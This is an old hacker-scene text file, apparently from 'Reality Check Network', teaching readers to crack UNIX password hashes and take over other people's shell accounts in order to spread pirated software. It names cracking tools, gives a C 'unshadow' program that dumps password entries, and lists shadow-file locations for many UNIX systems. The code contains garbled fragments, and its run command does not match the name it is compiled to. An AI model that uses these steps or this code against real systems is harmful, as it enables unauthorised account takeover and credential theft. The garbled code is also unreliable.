+----------------------------------------------------------------------------+ ¦ Author(s): ¦ Krypto ¦ +---------------+------------------------------------------------------------¦ ¦ Subject: ¦ Cracking that "Passwd" File ¦ +----------------------------------------------------------------------------+ ______________________________________________________________________________ ______________________________________________________________________________ +----------------------------------------------------------------------------+ ¦ R E A L I T Y C H E C K N E T W O R K! ¦ +----------------------------------------------------------------------------¦ ¦____________________________________________________________________________¦ ¦____________________________________________________________________________¦ +----------------------------------------------------------------------------¦ ¦ ¦ ¦ I'm not an amazing "3l33t3" hacker, but I have picked up some things ¦ ¦ over the course of my scene life. ¦ ¦ ¦ ¦ At times, many of us are without Internet shell account, therefore ¦ ¦ inhibiting our ablility to spread the warez. Many of us seek to remedy ¦ ¦ this by cracking Internet shell accounts and doing as we please with ¦ ¦ them, mainly spreading. Here, I'll show you the basic process in ¦ ¦ cracking UNIX accounts so that you can better your efforts in spreading ¦ ¦ them warez. ¦ ¦ ¦ ¦ Most Internet shells are UNIX based and therefore store the password ¦ ¦ to all the users in a file called the "passwd" file. This is usually ¦ ¦ located at /etc/passwd. The basic structure of the passwd file contains ¦ ¦ lines looking like this: ¦ ¦ ¦ ¦ bgates:VKa0XuF8KB4sc:5604:12:William Gates:/home/bgates:/bin/bash ¦ ¦ ¦ ¦ Essentially, the line is broken down into these parts: ¦ ¦ ¦ ¦ Username: bgates ¦ ¦ Encrypted Password: VKa0XuF8KB4sc ¦ ¦ User number: 5604 ¦ ¦ Group Number: 12 ¦ ¦ Real Name (usually): William Gates ¦ ¦ Home Directory: /home/bgates ¦ ¦ Type of Shell: /bin/bash ¦ ¦ ¦ ¦ Your main concern is to crack each encrypted password for every ¦ ¦ user. Because the encryption function is only unidirectional, you ¦ ¦ cannot decrypt the encrypted password. You must run a cracking program ¦ ¦ which encrypts words then compares the encrypted word with the password. ¦ ¦ If they match you now have cracked the password. ¦ ¦ ¦ ¦ Because cracking relies on words that are encrypted, you MUST have a ¦ ¦ wordlist. For beginners, a basic wordlist can be found as a dictionary ¦ ¦ file supplied as a part of UNIX. The more the comprehensive the ¦ ¦ wordlist is, the better your chances of successfully cracking passwords. ¦ ¦ Next, you'll need a passwd cracker, which comes under numerous versions ¦ ¦ depending on your operating system. Currently the best are: ¦ ¦ ¦ ¦ Software Operating System ¦ ¦ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ¦ ¦ CrackerJack v1.4 DOS ¦ ¦ Crack UNIX ¦ ¦ ¦ ¦ Run the "cracking" program and feed your wordlist and passwd file ¦ ¦ into the program. And watch as it "cracks" the passwords. ¦ ¦ ¦ ¦ Sometimes you'll discover that the passwd file is incomplete or ¦ ¦ looks something like this: ¦ ¦ ¦ ¦ bgates:*:5604:12:William Gates:/home/bgates:/bin/bash ¦ ¦ ¦ ¦ The * is called the token and means that the passwd file has been ¦ ¦ shadowed. Password shadowing is a security system where the encrypted ¦ ¦ password field of /etc/passwd is replaced with a special token and the ¦ ¦ encrypted password is stored in a separate file which is not readable by ¦ ¦ normal system users. ¦ ¦ ¦ ¦ In order to defeat this, you'll need to write a C program and ¦ ¦ compile it similar to this: ¦ ¦ ¦ ¦ Cut out the program at the bottom and save as "shadow.c" ¦ ¦ ¦ ¦ Run "gcc shadow.c -o shadow" or "cc shadow.c -o shadow" ¦ ¦ ¦ ¦ Run "./shadowpw >> password" ¦ ¦ ¦ ¦ "password" should be your deshadowed password list. ¦ ¦ ¦ ¦ If you have any problems, or need any help whatsoever... DO NOT ¦ ¦ CONTACT ME! ¦ ¦ ¦ +----------------------------------------------------------------------------¦ ¦ ¦ ¦ Sample Unshadow Program ¦ ¦ ~~~~~~~~~~~~~~~~~~~~~~~ ¦ ¦ ¦ ¦ struct SHADOWPW { /* see getpwent(3) */ ¦ ¦ char *pw_name; ¦ ¦ char *pw_passwd; ¦ ¦ int pw_uid; ¦ ¦ int pw_gid; ¦ ¦ int pw_quota; ¦ ¦ char *pw_comment; ¦ ¦ char *pw_gecos; ¦ ¦ char *pw_dir; ¦ ¦ char *pw_shell; ¦ ¦ }; ¦ ¦ struct passwd *getpwent(), *getpwuid(), *getpwnam(); ¦ ¦ ¦ ¦ #ifdef elxsis? ¦ ¦ ¦ ¦ /* Name of the shadow password file. Contains password and aging info * ¦ ¦ ¦ ¦ #define SHADOWPW "/etc/shadowpw" ¦ ¦ #define SHADOWPW_PAG "/etc/shadowpw.pag" ¦ ¦ #define SHADOWPW_DIR "/etc/shadowpw.dir" ¦ ¦ /* ¦ ¦ * Shadow password file pwd->pw_gecos field contains: ¦ ¦ * ¦ ¦ * ,,,, ¦ ¦ * ¦ ¦ * = Type of password criteria to enforce (type int). ¦ ¦ * BSD_CRIT (0), normal BSD. ¦ ¦ * STR_CRIT (1), strong passwords. ¦ ¦ * = Password aging period (type long). ¦ ¦ * 0, no aging. ¦ ¦ * else, number of seconds in aging period. ¦ ¦ * = Time (seconds from epoch) of the last password ¦ ¦ * change (type long). ¦ ¦ * 0, never changed.n ¦ ¦ * = Time (seconds from epoch) that the current password ¦ ¦ * was made the (type long). ¦ ¦ * 0, never changed.ewromsinm ¦ ¦ * = Password (encrypted) saved for an aging t ¦ ¦ * prevent reuse during that period (type char [20]). ¦ ¦ * "*******", no . ¦ ¦ */ ¦ ¦ ¦ ¦ /* number of tries to change an aged password */ ¦ ¦ ¦ ¦ #define CHANGE_TRIES 3 ¦ ¦ ¦ ¦ /* program to execute to change passwords */ ¦ ¦ ¦ ¦ #define PASSWD_PROG "/bin/passwd" ¦ ¦ ¦ ¦ /* Name of the password aging exempt user names and max number of entir ¦ ¦ ¦ ¦ #define EXEMPTPW "/etc/exemptpw" ¦ ¦ #define MAX_EXEMPT 100 ¦ ¦ ¦ ¦ ¦ ¦ /* Password criteria to enforce */ ¦ ¦ ¦ ¦ #define BSD_CRIT 0 /* Normal BSD password criteria */ ¦ ¦ #define STR_CRIT 1 /* Strong password criteria */ ¦ ¦ #define MAX_CRIT 1 ¦ ¦ #endif elxsi ¦ ¦ #define NULL 0 ¦ ¦ main() ¦ ¦ { ¦ ¦ struct passwd *p; ¦ ¦ int i; ¦ ¦ for (;1;) {; ¦ ¦ p=getpwent(); ¦ ¦ if (p==NULL) return; ¦ ¦ printpw(p); ¦ ¦ } ¦ ¦ } ¦ ¦ ¦ ¦ printpw(a) ¦ ¦ struct SHADOWPW *a; ¦ ¦ { ¦ ¦ printf("%s:%s:%d:%d:%s:%s:%s\n", ¦ ¦ a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid, ¦ ¦ a->pw_gecos,a->pw_dir,a->pw_shell); ¦ ¦ } ¦ ¦ ¦ ¦ /* SunOS 5.0 /etc/shadow */ ¦ ¦ /* SunOS4.1+c2 /etc/security/passwd.adjunct */ ¦ ¦ ¦ +----------------------------------------------------------------------------¦ ¦ ¦ ¦ The passwd file is located in the following pathes for each system. ¦ ¦ To determine your UNIX system type, enter the following during the UNIX ¦ ¦ prompt: ¦ ¦ ¦ ¦ uname -a ¦ ¦ ¦ ¦ UNIX Paths (Courtesy of 2600) ¦ ¦ ¦ ¦ UNIX Path Token ¦ ¦ ----------------------------------------------------------------- ¦ ¦ AIX 3 /etc/security/passwd ! ¦ ¦ or /tcb/auth/files// ¦ ¦ A/UX 3.0s /tcb/files/auth/?/* ¦ ¦ BSD4.3-Reno /etc/master.passwd * ¦ ¦ ConvexOS 10 /etc/shadpw * ¦ ¦ ConvexOS 11 /etc/shadow * ¦ ¦ DG/UX /etc/tcb/aa/user/ * ¦ ¦ EP/IX /etc/shadow x ¦ ¦ HP-UX /.secure/etc/passwd * ¦ ¦ IRIX 5 /etc/shadow x ¦ ¦ Linux 1.1 /etc/shadow * ¦ ¦ OSF/1 /etc/passwd[.dir|.pag] * ¦ ¦ SCO Unix #.2.x /tcb/auth/files// ¦ ¦ SunOS4.1+c2 /etc/security/passwd.adjunct ##username ¦ ¦ SunOS 5.0 /etc/shadow ¦ ¦